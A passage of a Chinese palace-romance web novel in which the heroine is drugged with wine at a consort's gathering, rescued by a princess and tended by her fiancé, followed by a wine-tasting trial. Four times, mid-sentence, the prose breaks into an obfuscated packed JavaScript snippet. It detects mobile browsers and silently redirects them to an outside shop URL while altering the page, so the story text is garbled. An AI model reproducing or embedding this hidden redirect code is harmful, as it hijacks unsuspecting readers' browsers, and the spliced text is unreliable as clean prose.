睿王送的是一尊南海珊瑚雕刻而成的观音,观音慈眉善目,面相栩栩如生,也算巧夺天工。 陆时安则是送了一匹神骏,西域进贡的汗血宝马,只是因为是活物,不方便在殿前展示,但等到秋日狩的时候,正好可以派上用场。 陆时婳则是为明德帝亲手绣了一身寝衣,言明母妃在世时,也经常为父皇亲手织造,希望父皇睹物思人,即使她已经出降,也时时心中牵挂父皇,一番剖白说得明德帝感动不已。 不得不说还是这位柔嘉公主会打感情牌,相较之下,两位成年皇子显然就逊色得多。同是皇室血脉,不缺金钱富贵,看重的便是这点难得的亲情,至于其中到底几分真假,倒是不必太过在意了。 元向依看着陆时婳面上温柔的笑意,默默希望自己这一世的选择是正确的。 至于臣子们的礼物,自然是不敢压过皇子公主,都是些挑不出错处的礼物罢了。 她元氏不过也是进献了一把塞北劲弓,可以百步穿杨,也算是拿得出手了。 其实她更想看看温衡的礼物,想知道他所谓的“自有办法”,到底是个什么办法? 好容易轮到了翰林院这边,温衡官级不高,自然排在后面。等到近侍取出一个卷轴的时候,陆时安几乎笑出了声。 元向依这个寂寂无名的夫君,可真是一如既往的寒酸。 元向依自己可不这么觉得,温衡不是那等不知轻重的人,既然敢拿出来,肯定也是揣摩过圣上的心意。 随着卷轴缓缓在明德帝面前展开,在场众人几乎屏住呼吸。 图卷上是千里江山之景,以黛、赭、石青三色入画,乍一看去并不稀奇,但难得的是细节逼真生动,山石间隐有炊烟袅袅,田地错落,水畔孤舟钓叟,静待游鱼。 并且随着光线变幻,这画会呈现出不同的色彩,也不知温衡是如何做到的。 元向依也是第一次见这种画,有些好奇。温衡擅于画技她是知道的,只是没想到能到如此地步。 于是礼物清点完毕,明德帝又赏赐一番,温衡自然也在此列,旁人看他的眼光又变得不同起来。 他是文臣,又是新科状元,如今攀上了元家的亲事,以后可算是前途光明无限,便有人主动前来攀谈,向他敬酒。 温衡笑着回应,但元向依总觉得那笑意淡淡的,不达眼底。说到底,温衡和她还是一类人,只是她是不善于应付这种事情,而他则是不喜欢。 或许在别人眼中,也会觉得她和温衡的结合非常奇怪呢。 温衡既然受了赏赐,陆时安就不大能笑得出来。 他向自己的母妃使了个眼色,薛德妃会意,便向圣上提议,天色还早,要请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114502|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女眷们去宫里戏台听戏,再小聚一回。 明德帝正在兴头上,自然没有阻拦的道理,只嘱咐勿要搞得太晚,误了宫门落锁的时辰。 听戏这种事情,元向依一向没有兴趣,想拉着凌思语偷偷开溜,但宫里的贵人可不会就这样轻易放过她。 既然递了邀请过来,她也不好不去,在人群中寻找父亲和大哥的身影,却发现他们都在和同僚攀谈,只好和温衡对视一眼,点了点头,拉着凌思语离开了。 温衡意识到,暗处的人终于忍不住要动了,向陆时婳使了个眼色,这位娇娇公主就难得地要参与这种无聊的活动,也跟着进了内宫。 一群贵女坐在一起,台上咿咿呀呀地唱着戏,听得元向依直打瞌睡,凌思语怕她失礼,让她靠着自己的肩膀。所幸她二人都有自知之明,主动坐在后排,倒也没有那么尴尬。 等听完了戏,薛德妃又带贵女们去莲池赏荷赋诗。舞文弄墨这种事,元向依也是兴致缺缺,思绪不住地向远方飘去。 温衡……在做什么呢?会不会跟她一样无聊。 终于到了用点心的时候,元向依掐指算了算时辰,大概用完这些,就可以回家了。 只是她牢记着温衡的话,面前的小点是一口没动,水酒也是碰都不碰,毕竟是薛德妃宫里的东西,不比千秋御宴,还是谨慎些好。 凌思语见她如此,便也如法炮制,两个人木木地坐在那里,只等着挨过这些时刻便好了。 薛德妃注意到这里的情状,便主动到两位姑娘面前来,面露关心:“可是觉得宫里的东西不合口,要不要撤下去再换些上来?” 元向依连忙起身,对她道:“德妃娘娘厚爱,我等自当领受。并非是娘娘宫里的东西不好,只是我等方才在御宴上已积食了,如今却是实在吃不下什么。” 薛德妃便端杯水酒过来给她:“既如此,贞武将军卖本宫一个薄面,喝杯水酒吧,不然总也觉得,不能宾主尽欢,是件憾事。” 元向依望着面前看似清亮的美酒,一时有些犹豫,没有立刻伸手接过。 她还在想推拒的理由,薛德妃已经笑吟吟地将酒杯递到了凌思语面前:“或许凌小姐与将军姐妹情深,愿意满饮此杯?” 面对微微愣神的凌思语,元向依下定决心,接过了那杯酒:“小语不胜酒力,我代她饮过就是,多谢德妃娘娘。” 说罢把心一横,直接一饮而尽,把酒灌了下去。 只是一杯酒……应当不会有事吧?她在边关待得久了,其实酒量很好,喝烧刀子也没什么问题。 并且,若是真有什么问题,凭她的身体素质也可以撑得久些,但小语……她可真不敢保证。 薛德妃也不再纠缠,自是满意地走开了。而元向依一边胡思乱想,一边发觉好像确实有什么不对。 头昏昏沉沉的,身体似乎也不受控制,变得燥热起来。 她遗憾地意识到,温衡说中了,这酒果真有问题! 20. 情丝 后宫中的手段,她不是不知道,薛德妃的为人,她也再清楚不过。 虽说薛德妃寿数不长,到底没能撑到陆时安即位,却也是做了她一段时间的婆母。 刚成婚时倒还好了,看在父兄和元氏背后虎贲军的份上,对她比今天还要客气上几分,等元氏一失势,便开始寻着由头作践她,拿她没有子嗣来说事。 没有子嗣,那是她不行么?想想后来陆时安纳了那么多美人,还不是依旧没有子嗣。 所幸陆时安还是皇子时,总还需要她在身边出谋划策,也不能让自己母亲和她鱼死网破,后面索性就允了,她不必再去他母妃宫里问安,她待在王府,终于乐得清闲。 总而言之,薛德妃和她儿子简直是一个模子刻出来的,都不是什么好人。 元向依意识到不好,当机立断将温衡的丸药摸出来,水酒是一滴也不敢再喝了,只好咬牙硬吞下去。 她知道薛德妃大概是有什么盘算,也不准备再给人可乘之机,便跌跌撞撞站起身来,径直向外走去。 凌思语在旁边,小心地扶着她,知道她身上不好,也不多言语,就和她一起离开。 两人也顾不上什么失礼不失礼了,完全无视薛德妃在后面叫住她们,此刻唯有快点离开,兴许事情还有转机。 出了殿门,凌思语用随身金针刺了她几处大穴,终于让她稍稍清醒一些。看她这样子,怕是酒里下了药,剂量还不轻。 虽然内宫离外朝还有相当一段距离,凌思语也只是个弱女子,但她仍然下了决心,一定要将她的依依带出去! 只是刚刚走到转角,绛色的衣袍一闪,陆时安已经挡在了二人面前。 此时她们还未踏出薛德妃的朝露宫,陆时安又是成年皇子,可以随意出入宫禁,在这里遇见他,怕是傻子也明白了,今天的局是做给谁的。 凌思语的脾气可一点都不比元向依小,即使对方是一人之下的皇子,神情也是冷冷的:“康王殿下烦请让路,依依不胜酒力,臣女要送她回家了。” 只是,面前的陆时安却一动不动。 他向凌思语伸出了手,意图将元向依接过去:“凌小姐费心了,本王看贞武将军现在的身体状况,似乎不适合再外出走动,不如就在母妃宫内偏殿休息片刻。” 凌思语微微后退一步,避开了他的手:“依依如今已经定亲,还请殿下自重。” 陆时安面上一派冷漠,懒得再和她费话,就要准备硬抢,毕竟像现在这样,元向依人事不省,毫无还手之力,可谓是极其难得的时机。 何况,出了这样的事,她和温衡的婚约自然会作废,他反正是不信,温衡一个穷酸书生,会有这么大度? 就在僵持之际,娇娇柔柔的声音又从凌思语身后响了起来。 “本宫当是谁呢,堵在这里不让开,原来竟然是二皇兄。” 陆时婳睨他一眼,讽刺地笑了笑:“好狗不挡道。” “你!” 陆时婳虽然看似柔弱,却并不是好惹的角色,陆时安一向知道,他这个皇妹绝非面上看起来这么简单。就连在父皇面前的撒娇,大概率也是作戏,装出来的。 而现在,陆时婳红唇轻启,气势便咄咄逼人起来:“本宫今日便要将这两人带走。” 陆时安自然不肯罢休,错过了今日,便不再有这样的机会了。 他的面上现出阴沉的神色:“柔嘉,别挡路。你与元向依也无甚交情,何苦为了她开罪于本王?” 陆时婳抚着指尖的蔻丹,缓缓道:“二皇兄又知道什么?不管如何,本宫心意已决,二皇兄尽可以阻拦试试看,在这大内宫禁,究竟是你更有手段,还是本宫更如鱼得水。” 没有人比几位皇子更了解,柔嘉公主在宫内是多么受宠的存在,以至于她终于出降宇文意的时候,他们全都松了一口气。 陆时婳已经挽上了元向依的另一只手臂,替凌思语分担了一半的重量。她冲陆时安努努嘴,毫不客气地说道:“让开。” 见他不动,她又补了一句:“不然本宫也不介意高抬贵足,把你一脚踹开。” 这话说得颇不客气,于是陆时安只好脸色铁青地让到了一边。 陆时婳趾高气扬地走了出去。等到终于离开陆时安的视线范围,她却陡然加快了步伐。 凌思语有些跟不上她,一边喘着气一边道:“多谢……公主,但是,现在既已安全了,公主为何好似更着急了呢?” 陆时婳一派严肃神色:“自然是因为这宫中没有好东西。” 这话一语双关,说得凌思语哑口无言。 陆时婳看她尴尬的样子,终于又露出了笑意:“凌小姐,若你不嫌弃的话,只怕要到我公主府上走一趟了。” 毕竟,柔嘉公主在外的名声可不是太好。 凌思语一边说着“不敢”,一边觉得,怎么这位柔嘉公主看起来,和传闻中不太一样? * 元向依这样子,自然是回不得家的,何况能解她媚毒之人,想必已经在来公主府的路上。 凌思语自然是被公主妥帖安排好,只等千秋御宴那边散场,就差人送她回家。 她老大不情愿,一脸担忧的样子,几乎让陆时婳笑出了声。 “我说小美人,我都和你一起,把元将军救出来了,你到底还在担心什么?还怕我吃了她不成?” 凌思语自然不敢应声,不过公主虽然玩得花,到底也是女子,应当不会对依依怎样……吧? 送走了凌思语,陆时婳百无聊赖,在院内坐着抛金瓜子玩。金瓜子落了满地,她也不去捡,任由它落得到处都是。 直到宇文意的身影出现在门口,她才把手里的东西全部一丢,向他奔了过去挂在他身上。 两人亲热了一会,陆时婳眯起狐狸似的媚眼,问他:“表哥呢?” 宇文意道:“你那表哥急得要死,比我先一步到,如今已急着寻人去了。” “嗯~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114503|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我觉得他应该好好谢我,你说是不是?” * 温衡没费什么力气,就找到了半昏迷的元向依。 之所以说是半昏迷,是因为她已经没了意识,却还凭借本能扭动身子,试图驱散周身的炎热。 他从没见过她这样衣衫不整的样子,一时间竟忘了挪开眼,等到意识到的时候又觉得唐突。心里一边惴惴不安,一边暗自责怪时婳怎么没有看顾好她。 他屏住呼吸,终于还是上前察看。宫里的药比外头只会更毒三分,所幸她还挣扎着服了他的丹药,凌思语又金针封穴,才能坚持到现在。 他给她的根本不是什么解酒药,而是能解百毒的丸药罢了。毕竟宫中手段层出不穷,谁知道是要你的身子,还是要你的命呢? 他将元向依堪堪扶起,她身上温度很高,烫得有些吓人,只是似乎越发向他靠近,仿佛在寻求一丝清凉。 “别闹。”他低声对她讲。 可她全然是听不进去了,直往他怀里去钻,在他伸手想把她扶正的时候,几乎一瘪嘴,就要立刻哭出来。 他何曾见过她这副样子,只能任由她去,她便又一头扎到他的怀里,口中似乎还在喃喃说些什么。 她的手也不安分,在他身上四处点火,房间的温度也一同烧了起来,在两个人的眼前蒸腾出雾气。 她扯过他的手,缓缓地攀附上来,眼睛湿漉漉的,透着极度的纯真。 而在他低头看她的时候,她突然迎了上来,趁他措手不及,在他颈侧不轻不重地咬了一口。 他倏忽瞪大了眼睛,她已经发现了下一处新奇的地方,伸出柔软的小舌,轻轻舔了一下他的喉结。 他的喉结上下滚动着,按住她作乱的手,将她从怀里捞起来,压抑着自己的喘息,咬牙问道:“我是谁?” 元向依眼睛亮亮的,看了他一会儿,开心地笑了:“我认得你!你是温衡呀!” 看来她还认得自己,那也不算亲错了人。 他继续喘息着,问她:“那温衡是谁?” 这一次,她似乎思考了半天也没能想出来,用手指戳着他的胸膛,而他的心,也一点一点地沉了下去。 在他即将放弃的时候,她却再次扑到他怀里。 “我知道!是我喜欢的人!” 他还处在震惊和喜悦中,没有回过神来,就听她又道:“是我的夫君。” 紧接着,不等他反应,她捧起他的脸,直接吻上了他的唇。 他抱着她的手紧了又紧。 嗯……难得她如此主动,他很高兴。 如果错过这个机会,她就会又恢复到之前进退守礼的样子,而他,还要再过很久才能知晓她的心意…… 虽然他有足够的耐心等她亲口告诉自己,但是仅仅是讨一个吻作为利息,那也未尝不可。 他放纵自己,沉沦地闭上了眼睛。 毕竟勇毅侯府的小侯爷,可从来不是什么正人君子。 21. 调戏 元向依醒来时,头依旧昏昏沉沉。 她依稀记得,自己是着了薛德妃的道了,但是现下自己衣衫齐整躺在这里,应当是平安无事。 只是不知道为什么,嘴唇有些麻麻的,莫非这药还有麻痹的作用? 就在这时,陆时婳推门走了进来,毫不客气地坐到她的床边:“你醒了?” 元向依这才明白,自己是在公主府内。 她勉力支起身子,想向公主行礼,陆时婳却摆了摆手:“算了,和本宫不用这些虚礼。” 元向依道:“如今元氏已蒙公主搭救两次,便是为公主肝脑涂地,也在所不辞。” 陆时婳眨着眼睛,心内暗想:若要是真让元氏肝脑涂地,那表哥还不得吃了我? 嘴上却说道:“你的忠心本宫知晓,只是下次不能再如此鲁莽,不然陆时安就让本宫白白损失了一位心腹。” 元向依垂首称是,又想起一件事来,问道:“小语呢?” 陆时婳道:“自然是被本宫送回家了,放心,本宫已知会你府上的马车从宫门来此等候,只说是本宫邀你前来此处小坐,过会便回。” “今日之事,除了你,本宫,凌思语,以及罪魁祸首,再不会有人知道,你大可放下心来。” 元向依有些动容,身为女子,若是都如公主一般,想必这天下对女子不公之事,也会少上许多。 并非她不想为自己讨回公道,只是此事若闹大了,实在不好收场。 陆时安此人用心险恶,便在此处。若是他得手,元向依自然只能嫁他;像如今这般局面,元向依即使启禀圣上,也无法治他的罪。 一来那水酒虽然确有问题,却只有一杯,已被元向依饮下,并无实证;二来此事涉及天家颜面和女子名节,不好传扬开去,最多明德帝寻个由头,小惩大诫一番就是了。 元向依不愿告知父兄,如若他们知道她受了欺负,必然感到心寒,只怕会去圣上面前大闹一番,届时情况会更糟。何况,她也并不想温衡知晓。 只是这笔账,她记下了,有朝一日,却是要实实在在讨还的! * 自千秋节后,元向依在府内窝了好一阵,打定主意不出门半步,只安心待嫁。 父兄甚至以为她生了什么病,还是凌思语下帖子来约她,她才肯出去透一透气。 二人路过天水阁,就看见楼内张灯结彩,洋溢着一派和乐气氛,仿佛是什么重大日子。虽说天水阁是名满盛京的酒楼,平日里便客似云来,也难得有今日阵仗。 于是元向依拦下正跑腿的小厮,问道:“今日是有什么喜事?” 小厮脸上也是掩盖不住的喜悦笑容:“是双喜临门!我云来楼的天厨颜殊一向云游四海,今日正巧归来,主持这五年一度的''天山雪''开坛宴,城里来了一多半人看热闹,连带着生意也是好极了!掌柜的真是好盘算!” “天山雪”乃是天水阁招牌的名酒,据传此酒是取若苍雪水,萃取三秋桂子酿制而成,窖藏封存五年才成。 比起原材料,更稀奇的是它的效用,据说这“天山雪”,不仅滋味清冽醇厚,还能让品酒之人看到心底埋藏最深的愿望。 故而每逢开坛宴,总有人一掷千金慕名而来,却抱憾而归——只因这颜殊脾气古怪,喜好对品酒之人加以考验。但此举非但无损于此酒名声,反而使其更加神秘。 她和凌思语挤进人群,找了个好位置。抬头望去,二楼已将原本的观景露台稍加改建,以便台下众人看得更加清楚,更悬挂了一条直通一楼的红绸,不知作何用处。 露台上立着位形貌昳丽的红衣女子,此时轻摇手中金铃,场内便迅速安静下来。 那红衣女子娇柔一笑,开口道:“多谢诸位今日捧场,前来参加我天水阁的开坛宴。因着颜先生在场,今年规矩与往年略有不同。” 人群中便有人问道:“哪里不同?” 红衣女子道:“今年开坛宴共分闻香、起酬、品酿三部分。这闻香,自然是在场各位都可参与。” 说罢抬起手,露出一截霜雪似的皓腕,拍开面前酒坛的封口,浓郁而奇特的酒香顿时飘散在空气中,引得众人啧啧称奇,大赞“好酒”。 有那不胜酒力的小童,闻着酒香竟坠入甜美幻梦,昏睡了过去,可见此酒魔力。 红衣女子再次摇响金铃:“至于这起酬,则与银钱多寡无关,诸位有信心通过先生试炼的,尽可报名一试。” 台下众人窃窃私语,一时竟无人上前,那女子只是微笑不语。 突然有人大喊一声:“我来!”却是个穿金戴银的衙内,脖上挂了块碗口大的蟠龙佩,身后跟着七八个孔武有力的家丁,从人群中推推搡搡挤出来。 那红衣女子福了一福,斟一小杯酒,让酒杯顺着红绸滑落下来,稳稳落到八仙桌上,道:“那请衙内满饮此杯。” 说话间,又有两人站了出来,一位是个文弱公子,另一位则是长相甜美、身着绿罗裙的少女。便有人七嘴八舌议论起来。 “你看那公子的扇面上,像是书画大家吴为松的真迹呢!真是不显山不露水。” “谁说不是呢!那旁边的姑娘,一身软烟罗都不知价值几金,腰间别着的玉笛也绝非凡品!” 人群挤来挤去,两个姑娘一不注意,便被挤到了前面,吸引了在场众人的目光。凌思语自然是不敢,元向依只好硬着头皮举手。 那衙内有眼不识泰山,看她一身鹅黄衣裙,也未带仆从跟随,看起来是个没钱的主儿,便走近调戏。 “没想到头一次到这盛京来,就遇见小娘子,姿色倒是不错,只是和我争这酒,还是有些不自量力了,要不识个趣,回家当我老婆如何?” 元向依默默活动了一下筋骨,在盛京当街打人,按律要下几天大狱来着? 那红衣女子见势头不好,也不愿这开坛宴出上什么岔子,便出言相帮于她:“先前我已言明,与银钱多寡无关,衙内还是莫要太自信了。”说着将酒杯沿红绸滑下。 衙内不屑道:“什么试炼什么考验,有钱就是大爷,我就不信那金山银山堆在面前,还有人能不动心?” 元向依正欲取了那酒杯来喝,面前突然伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114504|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一只手径直拿过那酒杯,温衡深深看她一眼,仰头喝了下去。 衙内一手叉腰,一手指着温衡的鼻子,问道:“你又是什么人啊?” 温衡将酒杯倒扣在桌上,将元向依扯到自己身后,淡淡道:“在下不才,正是她夫君。” 元向依在后面扯了扯他的衣角:“未婚夫君。” 衙内看了看二人,突然兴起:“我不信,你俩给我亲一个!” 两人俱是一顿,互相朝对方看去。元向依见他素瓷一般的脸上,表情有些松动,咬着的下唇嫣红得仿佛能泛出水波。 看上去很好亲。 但如此场合,理智当然要占据上风,于是元向依不着痕迹地主动去搂他的胳膊,这样既不刻意,还能显得亲密。温衡看了看她,没有做声。 衙内再看温衡一身白衣,不显富贵,便以为是什么穷困书生,便自负道:“不如你我打个赌,看谁能夺得这酒,我若赢了,你便将小娘子让给我。” 那绿裙少女也看不下去,啐了一口:“真不要脸!” 温衡的脸上浮现出不屑的神色:“那你若输了呢?” 元向依心想:我又不是物件,被你们争来抢去的。 她索性开口道:“你若输了,就给我磕三个响头赔礼道歉罢!” 衙内嬉笑道:“能哄小娘子开心,回家里再给你磕也不迟啊~听我一声劝,莫要贪图美色,要知道男人的相貌只是一时,老了也没什么稀奇,还是有钱才是硬道理!” 元向依看了看温衡的身段,这人身高腿长,又兼那样的一张俊脸,确实容易让人误会。 但她也不知怎么,竟鬼使神差道:“他吃的不多,养他的银子,我还是有的。” 温衡正欲说些什么,红衣女子再度摇了摇手里的金铃:“既然人已齐了,请五位贵客随我来。” 元向依回头看了一眼凌思语,正要说声抱歉,示意她在原地稍等,凌思语却俏皮地对她眨了眨眼。 “本来便是温大人约你出来见面,既然正主已到,我的任务也算完成,就先回去啦~” * 五人随红衣女子进入后院,元向依走在最后,悄悄去问温衡:“你既然约我,为何还要通过小语?” 温衡在她耳边道:“令尊看管甚严,书信帖子一概递不进去,我也是没了法子,才会出此下策。” 这些倒是她不知道的事了。 温衡似乎意识到了什么,捏了捏她的手指:“你醋了?” “嗯?我、我没有……” 她明明只是在想,什么时候温衡和凌思语已经如此熟稔了?或许是因为上次一同出游的缘故。 不过,她也觉得这样很好。 温衡继续道:“罢了,是我思虑不周,以后必事事以你的感受为先,再作打算。” 元向依有些尴尬,有心解释又不知从何说起,只好不再就这个话题深入下去,转而问他:“你约我出来,可是有什么事?” 温衡忽然停步,对她说话都是委委屈屈的。 “没有事情,就不能约你出来么?” 22. 幻梦 元向依正欲解释,却发现自己不知何时,已经退到了走廊的转角。 虽然没有实质性的触碰,却已经足够让她脸红心跳。 两人维持着一个暧昧的姿势,所幸其他人都已经向前走得远了,并没有人发现。 温衡将她困在双臂之间,却依然是一脸无辜的模样,仿佛受了委屈的人真的是他。 见元向依不回应,他又道:“我想见你,也不可以么?” 此外还有一点原因,却是他不好宣之于口的。自上次解了媚毒以后,他担心她的身体,总还是要寻个由头来看看。 虽说他对自己的毒术和医术都极有自信,但在关系到她的事情上,却是半点也马虎不得。 元向依便无奈地笑了,故意打趣他:“现在想见,只怕成婚以后日日见面,没过多久你便烦不胜烦了。” 温衡闻言却十分认真,对她低语道:“不会。我日日都想见你,永远不会觉得烦。” 她不是风花雪月的人,对于他的这番话有些无所适从,只好道:“你不是读书人么,怎的也……” 怎的也这般直白? 温衡心内暗笑,别说他不是读书人,就算是,也不是那等含蓄的性子。 他故意逗她,就道:“谁说读书人便不能传情达意?须知古往今来多少字句,都是出自圣贤之手。” 元向依知道自己说不过他,索性放弃,寻了个空档直接开溜。 温衡望着她的背影笑了笑,随即跟了上去。 * 众人被引至一处竹亭前,竹亭是依山上流下的泉水而建,涓涓流水旁错落有致地摆放了五张案几。在红衣女子示意下,众人相互看了看,方挑了席位落座。 竹亭四周以轻薄的帘幕掩起,其中歪歪斜斜坐了个人影,看不真切。红衣女子挑帘进去,附在那人耳侧言语,那人点了点头。 衙内早等得不耐烦,此刻翘着二郎腿坐在上首,大声道:“是哪个不长眼的,见了本衙内还藏头露尾,鬼鬼祟祟躲在后面?出来!” 一道劲风自帘幕中飞出,准确无误地打在衙内的左脸上,发出“啪”的一声脆响。 衙内捂着左脸,难以置信道:“你敢打我?你知道我是……” 话还没说完,同样的劲风又飞了出来,这次打的是右脸。衙内的脸顿时如猪头般肿得老高,嘟囔了一阵“欺负我”、“出去叫人来”之后终于不说话了。 元向依忍不住笑出了声。 红衣女子摇了下金铃,道:“颜先生说,试炼规则简单,将白玉杯放入这流水中,停在哪位面前,哪位便取杯饮酒,再描述自己看到的景象即可。” 原来是效仿曲水流觞之法。 那文弱公子略一思忖,道:“各人看到的景象自然各不相同,又该如何评判?” 红衣女子微微一笑:“先生自有评判之法,还请各位不用担心。” 白玉杯自上游漂流而下,众人俱屏息凝神,看着它慢悠悠地停在文弱公子面前,一时都望着他。那公子定了定神,也不扭捏,拾起杯子一饮而尽,微微闭目。 他仿佛坠入极深的幻梦,面上露出欣慰得意的神色:“我少年便春风得意,一时风头无两。小妹及笄后,我亲自送她出嫁。她穿着一身火红的嫁衣,我背她上轿,她还笑我走得太慢,害我跌了一跤。那天喜宴上,我也被灌了太多的酒……” 第二杯轮到衙内。他神色动容,突然也不顾脸肿,哇地大哭起来,吓了元向依一跳。 他膝行至她身边,竟像孩子似的,坐在地上痛哭不肯起来:“娘亲,您的病好了吗?小时候每次我想让您陪我玩,爹爹都骂我一顿。” “后来有一次我偷着去找您,您咳得那么厉害,床都起不来,可还是笑着摸了摸我的头,让我自己去玩,话还没说完便咳血了,血溅了我一脸……” 原来衙内竟有如此身世,看他哭得一把鼻涕一把泪的样子,元向依也就原谅了他之前的轻浮浪荡之举。 她把衙内的手推开,顺便往他手里塞了一颗糖,哄道:“娘亲没事了,一会儿陪你去玩。” 衙内把糖塞进嘴里,抽噎着回到座位上。 第三杯摇摇晃晃,漂到了元向依面前。她思忖了一下,仍是喝了下去。 如她所料,前世的记忆果然汹涌而来。在一片纷乱和嘈杂中,她越过重重虚影,向前追寻而去。 温衡见她闭目,知晓酒已开始起了作用。他自座位上起身,径直向竹亭中走去。 那红衣女子见他上前,福了福身,替他挑起帘子,让他得以入内。 绿裙少女见状,也跟在他身后过来,却被红衣女子拦住,在唇边竖起一根手指,示意她噤声,不要打扰亭内二人商谈。 颜殊微微阖目,半靠在一张摇椅上。他眉目俊秀,气质儒雅,蓄了一寸左右的胡须,看上去不像厨子,倒像是个教书先生。 听见温衡来了,他眼也不抬,轻叩石桌,示意他自行落座。 温衡见他一副爱搭不理的样子,故意道:“东家在此,你还如此怠慢,依我看,你是不是不想要这饭碗了?” 颜殊终于睁开眼看他,只略略扫了一眼,便懒懒道:“你做如此打扮,也太寒酸了些。” 别说不像平日里锦衣玉带的小侯爷,就是这有些余钱的商贾,吃穿用度也比他好些。 不等他答话,颜殊又道:“何况天水阁的招牌,有一半是我撑起来的,你敢把我炒了试试?” 温衡就笑了,直道“不敢不敢”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114505|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又问:“家里现在怎么样?” 颜殊道:“家里一切安好,你且放心。只是有几个不安分的,知晓你在盛京,说什么都要过来庆贺你新婚。” “我已经弹压了几次,但究竟听不听我的,那还真不好说。总而言之,你还是先做万全准备,避免到时候出什么岔子。” 温衡无语扶额,虽然理解他们都是一番好意,但须知来的人越多,暴露的风险便越大。他才刚刚和依依成婚,感情尚未稳固之际,不敢去冒这样的险。 在他发愁时,颜殊又抱怨起来:“说到底还不是我倒霉,在家里要代你处理事务,每五年还要往盛京跑一趟。现下可更好了,为着你在这里的筹谋,直接久居盛京,你不觉得应该给我点补偿?” 温衡道:“你当时怎么信誓旦旦地向我保证来着?只要我同意让丽娘跟着你,就为温氏赴汤蹈火。如今喊你过来帮上几个小忙,就说三道四了?” 他向帘外招了招手,示意那红衣女子:“是不是,丽娘?” 丽娘隔着帘幕,语气十分轻快:“小侯爷,您了解砚之的性子,惯会嘴上逞强,其实给您的贺礼,他都一早就备好了。” “哦?是什么贺礼?” 颜殊被戳穿,也不以为意,只是撇了撇嘴:“当然是帮你操持喜宴,一生一次的事,还能让你留下遗憾不成?” 温衡知道他话既已出口,便会说到做到,诚恳道:“多谢。” 颜殊哼了一声,对他道:“你先前让我寻个可靠的人,做你夫人的贴身侍女,你看外面那小丫头怎么样?” 颜殊所指,正是那随他们一同入内的绿裙少女。 他拍了拍掌,让那绿裙少女过来,到他二人面前。 颜殊道:“这位便是我为你找的人,叫她蛮蛮便好。” 温衡上下打量了一眼,见蛮蛮一双杏眼无辜地看着他,皱起了眉头:“你办事行不行?这小姑娘看起来不谙世事,又通身贵气,哪里像我能雇得起的侍女了?” 就在此刻,蛮蛮却开口了:“小侯爷,不要因为人家年纪小就看不起人,我身上的功夫,可一点都不比您那位夫人差。” 颜殊忍住笑意,对他道:“蛮蛮从前是做镖人的,一身家底全靠自己挣来。既然你都看不出,那瞒过你夫人也肯定不在话下。” 温衡这才没了意见,瞧着外面的情况,见元向依蹙着眉,并无太大反应,于是问道:“你这酒,应当没什么问题吧?” 颜殊道:“自然。他们饮下的都是掺过水的,剂量较小。应你的要求,我专门准备了一坛另外的‘天山雪’,只是不知你要作何用?” 温衡哼了一声,冷冷道:“以其人之道,还治其人之身。都是水酒,陆时安备得,我就备不得了?” 23. 蛮蛮 颜殊默默想了想,才道:“那位康王殿下也是闲的,若是知晓你是这样睚眦必报的性子,想必是一千个一万个也不愿意招惹你的人了。” 温衡道:“哪里的话?我特意请这位殿下喝杯喜酒罢了。” 虽然嘴上说话客气,神情却冷得不能再冷。 通常玩世不恭的小侯爷露出这种表情,便是动了真怒,颜殊知道他的软肋一向是碰不得的,看来是时候为陆时安点蜡上香了。 就在这时,温衡突然听见,元向依低低叫着他的名字。 他遽然起身,向她而去,到她身边时,见她依然人事不省的样子,责怪地看了颜殊一眼,仿佛在为剂量大了而不满。 他在她身旁蹲下,迟疑片刻后,轻轻握住她的手,唤道:“依依。” 他经常背后叫她的闺名,却从没有当面叫过。只因他一直没有这样的资格,怕她觉得唐突,才只称她“元姑娘”。 元向依在黑暗中摸索着前行,终于看到几个熟悉的背影。 她向着他们的背影奋力跑去,一边奔跑一边喊道:“爹爹!大哥!小语!” 只是他们仿佛都没有听见一般,既没有停下回头,还加快了步伐,离她越来越远,眼看就追不上了。 